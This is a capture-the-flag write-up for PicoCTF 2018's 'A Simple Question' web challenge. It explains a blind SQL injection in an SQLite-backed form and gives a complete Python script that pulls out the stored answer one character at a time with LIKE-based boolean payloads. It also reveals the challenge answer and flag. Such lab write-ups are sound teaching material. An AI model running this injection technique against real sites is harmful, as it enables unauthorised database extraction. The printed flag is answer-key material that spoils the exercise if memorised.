Contact CTF writeups Notes

[PicoCTF 2018] - web - A Simple Question

This is one of my writeups for PicoCTF 2018

Problem

There is a website running at http://2018shell3.picoctf.com:32635. Try to see if you can answer its question.

Solution

This time, we're faced with a single-input form asking for "the answer". I instantly tried 42, but no dice. Then a single quote. That triggered an error message indicating that :

  • There is an SQL injection vulnerability
  • We're querying an SQLite3 database
  • The query is echoed back to us : SQL query: SELECT * FROM answers WHERE answer='''

If we try 'OR 1=1 --, we get the message You are so close.. If we try any random valid string, we get the message Wrong.. That indicates that we get one message if the query returned at least one row (You are so close., in this first case the always true condition has the database return all rows) and the other message (Wrong.) if the query returns no row : that's a blind SQL injection.

We can exploit that to get the answer out of the database, using the LIKE operator. LIKE allows a bit of fuzzy searching by matching based on an expression rather than than an exact value. In sqlite, it uses two wildcards :

  • % : matches 0 or more of any character
  • _ : matches exactly one of any character

Example :

  • ca_ would match "car" or "cap" but not "ca" or "cars"
  • ca% would match "ca", "car", "cars", or any string that starts with "ca"

So if we built a query using LIKE and % for every possible character (SELECT * FROM answers WHERE answer LIKE 'a%', SELECT * FROM answers WHERE answer LIKE 'b%', etc.), we would only get the You are so close. message if the answer we're looking for starts with that character. We can then re-iterate character by character.

Here's the script I wrote to do just that :

Note : this script uses two external libraries : requests for handling HTTP requests and colorama for coloring the output in the name of cool.

import requests
import string
from colorama import Fore

chars = string.digits + string.ascii_lowercase + string.ascii_uppercase + '{_}'
cr = '\r'


def send(str_):
    data = {'answer': str_, 'debug': 1}
    r = requests.post('http://2018shell3.picoctf.com:28120/answer2.php', data=data)
    return r.text


def inject(payload):
    str_ = f"nope' or answer like '{payload}%' --"
    resp = send(str_)
    if 'Wrong.' in resp:
        return False
    elif 'You are so close.' in resp:
        return True
    else:
        raise Exception('Unplanned case.')


def guess(current=''):
    print(f'{cr}{Fore.CYAN}{current}{Fore.RESET}', end='')
    for c in chars:
        print(f'{cr}{current}{Fore.YELLOW}{c}{Fore.RESET}', end='')
        if inject(current + c):
            return guess(current + c)
    # we have tried every possible character, so we probably have the answer
    return current


print(f'{cr}{Fore.GREEN}{guess()}{Fore.RESET}')

If we run it, it finds the value we're looking for after a short while : 41andsixsixths (so my first guess wasn't that bad). But there's a catch : the LIKE operator is case insensitive (so the string.ascii_uppercase in my script is actually useless and slows down the search). We need to figure out the proper capitalization.

There's probably a better way to do it, but I just took a few guesses and found it's 41AndSixSixths. If we POST that to the server, we get the flag : picoCTF{qu3stions_ar3_h4rd_8f84b784}.